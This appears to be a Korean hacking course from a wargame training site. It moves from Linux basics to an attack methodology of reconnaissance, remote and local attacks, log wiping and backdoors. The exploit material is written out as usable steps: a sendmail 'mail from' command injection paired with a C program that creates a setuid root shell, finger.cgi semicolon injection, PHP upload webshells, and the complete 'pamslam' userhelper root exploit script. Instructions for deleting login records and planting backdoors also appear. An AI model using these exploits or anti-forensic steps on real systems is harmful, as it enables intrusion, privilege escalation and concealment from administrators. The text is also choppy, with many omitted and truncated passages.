Setuid의 개념 setuid는 멀티 유져 시스템인 유닉스/리눅스에서만
볼 수 있는 이해를 돕기 위해 다음과 같은 예를
준비하였습니다. 위의 예는 영철이가 수강증으로 인해
병철의 권한을
[ 윈도우 텔넷 프로그램을 사용하여 ftz에 연결하는 모습 ] 그럼 이와 같은 화면이 나타날 것입니다.
[ ftz에 접속된 화면 ] 백문이 불여일견, 백견이 불여일행.
이제 id 부분에 realhack 이라고 입력하고,
성공적으로 로그인되었다면 다음과
같은
[ 성공적으로 로그인 된 화면 ] 자 이제 쉘 프롬프트에 whoami라고
입력해봅시다. [ 자신이 누구인지 알 수 있다. - whoami ] 그럼 이번엔 chapter1/setuid 라는 디렉토리로 이동해봅시다. [ chapter1/setuid 디렉토리로 이동 ] ls -al을 입력하면 다음과 같은 세 개의 파일을 볼 수 있을 것입니다. 중간생략... 리다이렉션 다이렉션(direction)이란 "방향"을
뜻하고 출력 리다이렉션 쉘 프롬프트에 ls -al을 입력해 봅시다. 이렇게 입력하면 ls -al의 결과는
화면이 아닌 실제 그렇게 되는지는 list.txt을 열어보면 알게 될 것입니다. 이것은 ls의 매뉴얼을 howto.txt 라는
파일로 리다이렉션을 이용하여 파일 만들기 자 이제 가장 효과적으로 리다이렉션을
먼저 쉘 프롬프트에 cat 이라고 입력해
봅시다. [ cat 명령의 사용 - 자신이 입력한 문자열이 출력된다. ] 이제 다음과 같은 명령을 입력해 봅시다. 자 또 다시 아무 문자열이나 마구
입력해 봅시다. 컨트럴-D 키를 눌러 종료한 후 test.txt
파일의 내용을 이것은 문서 파일을 작성할 때나 C언어의
소스 파일을 중간 생략... 최 상위 디렉토리(루트)로 이동한
후 ls -al를 입력하면 - bin : 이곳에는 가장 필수적인
ex) bash, ping, ls, mkdir, mv .... - boot : 리눅스 부팅 관련 파일들과, 커널이란 것이 들어있습니다.
- dev : 이곳은 컴퓨터에 설치된 하드웨어에 관한 정보들이 파일 형태로 저장되어 있는 곳입니다. - etc : 많은 중요한 파일들이
이곳에 들어가 있습니다. 패스워드 파일, - home : 일반 사용자들의 디렉토리가
들어가는 곳입니다. - ~/public_html : 일반 사용자들의
홈페이지 파일이 - lib : 많은 라이브러리 파일들이
들어가 있습니다.
- mnt : mount 명령을 사용하여,
마운트 시킨 시디롬,
- proc : 프로세스들이 파일 형태로 저장되는 디렉토리입니다. - root : 일반 사용자의 디렉토리는
/home 아래 존재하지만, - sbin : 기본 명령을 제외한 시스템
관리용 실행 파일들이 - tmp : 임시로 파일을 저장하는
디렉토리로서, 권한에
- usr : 다양한 응용 프로그램들이 설치되어 있는 곳입니다. - var : 시스템 운영 중에 생성되는
각종 임시 파일들이 나의 리눅스에 telnet 접속을 가능하게
해주는
[ 대기 상태에 있다가 요청을 받고 작업을 하는 텔넷 서버 ] 그럼 이번엔 외부로부터의 접속이 없을 때를 생각해 봅시다.
[ 요청이 없어 그냥 놀고만 있는 텔넷 서버 ] 이와 같이 telnet 서버는 할 일이
없음에도 telnet 서버뿐만 아니라, 다른 서버들도
함께
[ 할 일 없이 자원만 낭비하는 서버들 ] 이런 것을 방지하게 위해 생겨난 것이
바로 inet 은 일단 모든 서버들을 종료시켜 놓은 후..
[ 서버들을 재우는 inet ] 외부의 요청이 있을 때만 해당 서버를 깨워서 실행시킵니다. [ 요청이 들어 왔을 때만 실행되는 ftp server ] 이렇게 하면 쓸데없는 자원 낭비는 없어지게 되는 것입니다. X-window 역시 MS-window처럼 마우스
하나로 바로 이럴 때 사용하는 것이 [ X-window용 쉘인 xterm의 모습 ] xterm 말고 hanterm 이란 것도 있는데
이것은 외부로 프로그램들을 실행시킬 수 있다! X-window 관련 프로그램들의 특징
중 하나가 - 상대방의 컴퓨터로 실행될 프로그램의 조건 실행 옵션 중에 -display 란 것이 있어야 한다. - 그 프로그램을 받아들일 컴퓨터의 조건 Xserver 가 실행 중이어야 한다. xhost 명령을 사용하여 접근 허용
목록에 (ex. xhost +211.195.119.179)
그런데 여기서 한가지 의문점이 생깁니다.
하지만 해당 프로그램이 "상대방의
권한"으로 그리고 이것은 계정이 없는 상태에서
타겟 컴퓨터의
(1) 정보수집 해킹 하고자 하는 타겟을 정했다면
가장 먼저 해야 할 일은 필자는 보통 다음과 같은 순서로 타겟의 정보를 탐색합니다. 1. 포트 스캐닝 - 포트 스캐닝이란 해당 IP의 컴퓨터에
열려있는 포트들을 2. 데몬 프로그램들의 정보 확인 - 데몬이란 각 시스템에 관련된 작업을
하는 것으로서 데몬을 좀 더 정확하게 말한다면 부팅
시 자동으로 실행된 후 포트 스캐닝 후 특정 포트가 열려있다는
것이 확인되면 만약 21번 포트가 열려있는 것이 확인되었다고
해봅시다. 중간 생략.. (2) 리모트 어택 리모트 어택은 계정을 가지고 있지
않은 서버의 쉘을 이것은 보통 데몬의 버그를 이용하여
이루어집니다. exploit이란? "세상에 완벽한 인간은 존재할
수 없다. 어떤 프로그램이던 간에 버그는 있기
마련입니다. 만약 데몬으로 작동하는 프로그램이나
root의 권한으로 exploit 사이트들 중간 생략... (3) 로컬 어택 리모트 어택에 성공하여 해당 서버의
쉘을 획득하였다면,
(4) 흔적 지우기 루트 권한을 획득하였다면 그 권한을
이용하여 재빨리 만약 해킹 후 실수로 흔적을 지우지
않고 나와버린다면 (5) 백도어 생성 흔적을 지우고 볼일을 다 보았다면
이제 해야 할 것은 백도어란 해킹에 성공한 서버에 쉽게
재침입할 수 있도록 샘플 7 - Race Condition을 이용한 해킹 기법 리눅스는 멀티 프로세스 운영체제입니다.
그런데 이 때 마침 mirable 이라는
사용자가
그럼 관리자가 입력하는 내용은 심볼릭
링크로 인해 이번엔 조금 현실성 있는 경우를 생각해
봅시다. 아주 오래된 버젼의 /bin/mail 프로그램에
해당되는 예입니다. 그럼 mirable에게 편지를 보내면서
재빨리 사실 지금까지 설명한 기법은 Race
Condition 이라기 보다는 역시 실제로 문제가 되었던 구 버젼의
/bin/ps 프로그램은 하지만 이런 방어 법에는 다음과 같은
허점이 존재합니다. ps_data 파일 존재 여부 확인 (시간 간격) 존재한다면 ps_data 파일을 삭제 (시간 간격) 새로운 ps_data 파일 생성 따라서 두 번째 시간 간격인 ps_data
파일이 삭제된 직후에 ps_data 파일 존재 여부 확인 (시간 간격) 존재한다면 ps_data 파일을 삭제 (시간 간격) <---- 이 시간을 이용하여 해커의 ps_data 파일 생성 새로운 ps_data 파일 생성 그럼 어떻게 위 두 번째의 시간 간격의
타이밍을 따라서 /bin/ps 프로그램과 해커의
프로그램이 그럼 직접 위의 이론을 적용시켜 봅시다. 먼저 다음과 같은 소스 파일을 만듭니다. 중간 생략.. 샘플 8 - 포맷 스트링 어택(format string attack) 해킹 기법
포맷 스트링 어택은 printf() 계열의 함수의 오용에서 나타나는 문제점을 이용한 공격으로, 공격 기법 자체는 오래 전에 발견되었으나 최근들어 많은 주목을 받는 공격 방법입니다. 이제 포맷 스트링 어택의 원리에 대해 설명하고 실제로 적용하는 방법을 설명해 보겠습니다.
프로세스와 스택
앞의 Stack overflow 공격을 설명할
때에 스택이 무엇이고, // List 1. "stack.c" 1: void func( int a, int b, int c ) 2: { 3: int i; 4: char str[20]; 5: }
6: int main( int argc, char *argv[] ) 7: { 8: func( 1, 2, 3 ); 9: } 우선 이 프로그램이 실행되면, 가장 먼저 6번 행부터 실행됩니다. 6 번행은 main() 함수를 호출하는데 커널은 main() 함수를 호출하기 전에, 함수의 실행에 필요한 데이터와 함수의 인자를 먼저 스택에 push 합니다. 즉, 6번 행에서의 Stack 은 다음과 같은 구조가 됩니다. 중간 생략... 해커스쿨 레벨1 -> 레벨2 먼저 레벨2 권한에 setuid가 걸린 프로그램이 있는지 찾아봅니다.
뒤에 2>(표준 에러 의미) /dev/null
을 붙인 이유는 이제 /bin/ExcuteMe라는 파일을 한번 실행해 봅시다. 그럼 다음과 같은 화면이 나타납니다.
위의 상태에서 입력되는 하나의 명령은
level2의 권한으로 만약 쉘(shell)이 우리가 입력한 명령을
해석하는 < 문제 >
< 해결 > level3 권한에 setuid가 걸린 파일을 찾아봅시다.
/usr/bin/alert 이란 파일이 발견되었습니다. 실행해 봅시다.
more 라는 프로그램은 사용자가 한
화면에 볼 수 없는
쭉 읽어 내려가다 보면 4번째 페이지에서
그것은 바로 more 사용 도중에 쉘
명령을 실행할 수 있는 ASCAN nmap 과는 달리 포트스캔의 최소 기능만
가지고 있는 ASCAN의 설치 ascan은 보통 ascan.tar.gz과 같은
압축 파일 형태로 *.gz : gzip -d filename *.tar : tar xvf filename -x : extract의 약자로 해제라는 의미입니다. -v : 해제 과정을 보여줍니다. -f : 파일 상태의 압축을 해제합니다.
[ *.tar.gz 형태로 된 파일의 압축을 해제 시키는 장면 ] 위와 같이 *.tar.gz 파일은 먼저 tar로
해제시킨 후
[ 한번에 *.tar.gz 파일을 해제시키는 모습 ] ASCAN의 실행 ASCAN을 사용하여 포트 스캔을 하는 방법은 매우 간단합니다.
[ ASCAN의 사용 방법 ] 문이 몇 개나 있나.. - 정보 수집 모든 서버가 똑같은 방법으로 해킹
되지 않는다는 것 포트 스캐닝 앞서 배운 많은 종류의 포트 스캐너
중 마음에 드는 것을 하나 골라
[ nmap을 사용하여 hackerschool.org를 스캔한 모습 ] 결과를 보면 21, 23, 25, 80, 110
등의 서비스에 반면에 다음의 서버를 봅시다.
[ 보안 관리가 제대로 되어있지 않은 서버 ] 전혀 쓸데가 없는 포트들이 많이 열려있는
것을 포트가 열려 있다는 것은 그곳에 프로그램이
따라서 이제 해야할 일은 포트에 하나
하나씩 직접 접속하여
[ telnet을 사용하여 21번 포트에 접속 ] 2.6.0 버전의 wu_ftp 프로그램을 사용하고
있다는 것을 참고로 이 버전엔 외부에서 루트를
획득할 수 있는 이번엔 23번 포트에 접속해 봅시다. [ 23번 포트에 접속 ] 리눅스 버전이 그대로 노출되어 있습니다.
이번엔 또 25번 포트에 접속해 봅시다.
[ 25번 포트에 접속 ] 25번 포트엔 메일 서버가 작동 중입니다.
53번 포트에는 bind라는 프로그램이
작동 중인데,
[ bind 프로그램의 버전 확인 ] 8.2.1 버전의 bind 프로그램을 사용하고
있으며, 79번 포트의 finger 프로그램에는
특별한 버그는 없으나,
[ finger 포트를 이용하여 내부 사용자의 정보를 캐낸 모습 ] 그 외 80번, 110번 포트에도 버그가
있을 확률이 상당히 높고, 이처럼 정보 수집의 결과만 보고도
해당 서버가 해킹 가능한지 샘플14 - 리모트 해킹 - 25번 포트를 이용하여 공격하는 방법 25번 포트에는 메일을 보낼 때 사용하는
메일 서버가 있고, EXPN 버그 이것은 쉘을 획득하는 것이 아닌 내부
사용자의 정보를 해킹 하고자 하는 대상을 설정했을
때 그곳에 어떤 어떤
[ bbs - 해당 아이디가 없을 땐 그것을 알려준다. ]
[ telnet-해당아이디의 존재여부에 관계없이 동일메세지가 출력된다 ] 만약 해당 서버에서 어떠한 remote
상의 hole 도 발견하지 expn 버그를 이용하여 해당 계정의 유무를 확인하는 방법 일단 타겟 서버의 25번 포트에 접속을 합니다. 중간 생략... 샘플 15 리모트 해킹 - sendmail 8.9.3 버그를 이용한 해킹의 실 예 일단 계정을 가지고 있는 상태에서
sendmail 8.9.3의 1. 해당 서버 접속 2. /tmp 디렉토리에 다음과 같은 프로그램 제작 #include <stdio.h> #include <stdlib.h> #include <unistd.h> int main() { system( "cp /bin/sh /tmp/sh" ); system( "chmod +s /tmp/sh" ); } 3. hack 이라는 이름으로 컴파일 4. 외부에서 25번 포트로 접속
5. helo x 입력
6. mail from: ;/tmp/hack;@test.com 입력 -> 이 부분이 중요합니다.
7. rcpt to: ftp 입력
8. data 입력
9. . 입력
10. quit 입력
이제 sendmail의 버그로 인해 /tmp/hack
프로그램이
[ root 권한 획득 ] 이처럼 mail from 에 ";"를
이용하여 쉘 명령어를 입력하면
이와 같이 실행하고자 하는 명령에
스페이스(' ') 가 들어가 중간 생략.. 샘플16 - 리모트 해킹 - cgi를 통한 해킹의 실 예
다음은 취약점이 있는 finger.cgi를
통해서 원하는 명령을 정상적인 finger.cgi 사용
[ finger 실행 ] [ finger 결과 ] ; 문자를 필터링하지 않아 생기는 문제점
[ ; 과 함께 원하는 명령 입력 ] [ 실행 결과 ] 이런 식으로 웹 상에서 패스워드 파일을 열어볼 수도 있으며..
한텀을 띄워 local 계정을 획득할
수도 있습니다.
샘플 17 - 리모트 해킹 - php 파일 업로드 취약점의 실 예 이제 php 해킹을 위한 준비는 끝났습니다. 1. php 파일 작성 메모장을 열고 다음과 같이 입력한 후 저장합니다.
2. 탐색기를 이용하여 저장된 파일의
이름을
-> 3. http://ftz.hackerschool.org/~realhack 접속
4. 작성한 php 파일 업로드
5. 이제 첨부된 파일을 클릭하면 패스워드
파일을
만약 cat /etc/passwd 대신 hanterm
-display IP:0.0 php 파일 업로드 취약점의 응용 php 파일 업로드 취약점이 많이 알려지면서
중간생략... /usr/sbin/userhelper 파일을 이용한 루트 획득 설명 보안상
완벽할 줄만 알았던 레드헷 6.0이 배포된 후 대상 MandrakeSoft
Linux Mandrake 6.1 조건 pam-0.68-10.i386.rpm
미만 exploit #!/bin/sh # # pamslam - vulnerability in Redhat Linux 6.1 and PAM pam_start # found by dildog@l0pht.com # # synopsis: # both 'pam' and 'userhelper' (a setuid binary that comes with the # 'usermode-1.15' rpm) follow .. paths. Since pam_start calls down to # _pam_add_handler(), we can get it to dlopen any file on disk. 'userhelper' # being setuid means we can get root. # # fix: # No fuckin idea for a good fix. Get rid of the .. paths in userhelper # for a quick fix. Remember 'strcat' isn't a very good way of confining # a path to a particular subdirectory. # # props to my mommy and daddy, cuz they made me drink my milk.
cat > _pamslam.c << EOF #include<stdlib.h> #include<unistd.h> #include<sys/types.h> void _init(void) { setuid(geteuid()); system("/bin/sh"); } EOF echo -n . echo -e auth\\trequired\\t$PWD/_pamslam.so > _pamslam.conf chmod 755 _pamslam.conf echo -n . gcc -fPIC -o _pamslam.o -c _pamslam.c echo -n o ld -shared -o _pamslam.so _pamslam.o echo -n o chmod 755 _pamslam.so echo -n O rm _pamslam.c rm _pamslam.o echo O /usr/sbin/userhelper -w ../../..$PWD/_pamslam.conf sleep 1s rm _pamslam.so rm _pamslam.conf 공격 예 userhelper 프로그램에 setuid bit를 확인
버그가 있는 패키지인지 버젼을 확인
exploit 준비
exploit 실행
root 권한을 얻는데 성공했다면 이제
다음 단계는 로그 기록이 저장되는 파일들 /var/run/utmp - 현재 로그인 되어있는 사용자의
정보를 기록합니다. /var/log/wtmp - 사용자들의 로그인, 로그아웃 접속을
기록합니다. /var/log/lastlog - 사용자들의 마지막 접속 시간을 기록합니다. /var/log/secure - 어디서 어떤 사용자가 login 했는지를 텍스트로 기록합니다. /var/log/httpd/access_log - 웹 상에서의 파일 접근을 텍스트로 기록합니다. ~/.bash_history - 해당 사용자가 입력한 쉘 명령들을 텍스트로 기록합니다. 로그 기록의 삭제 로그 기록을 삭제하는 가장 간단한
방법은 단순히
해당 파일을 삭제한 다음에는 관리자가
눈치채지 못하도록
이번엔 last에 나오는 기록을 없애봅시다.
[ wtmp에 저장된 접속 기록 ]
이런 식으로 로그를 기록하는 모든
파일을 제거해 줍니다. 원하는 사용자의 로그 기록만 제거 중간 생략... 쉘을 이용한 백도어 가장 간단한 백도어는 /bin/bash 를
구석진 곳으로
passwd 파일을 변경한 백도어 리눅스는 계정 이름이 아닌 user-id와
group-id,
uid와 gid를 변경한 다음에는 /etc/securetty
라는
중간 생략... |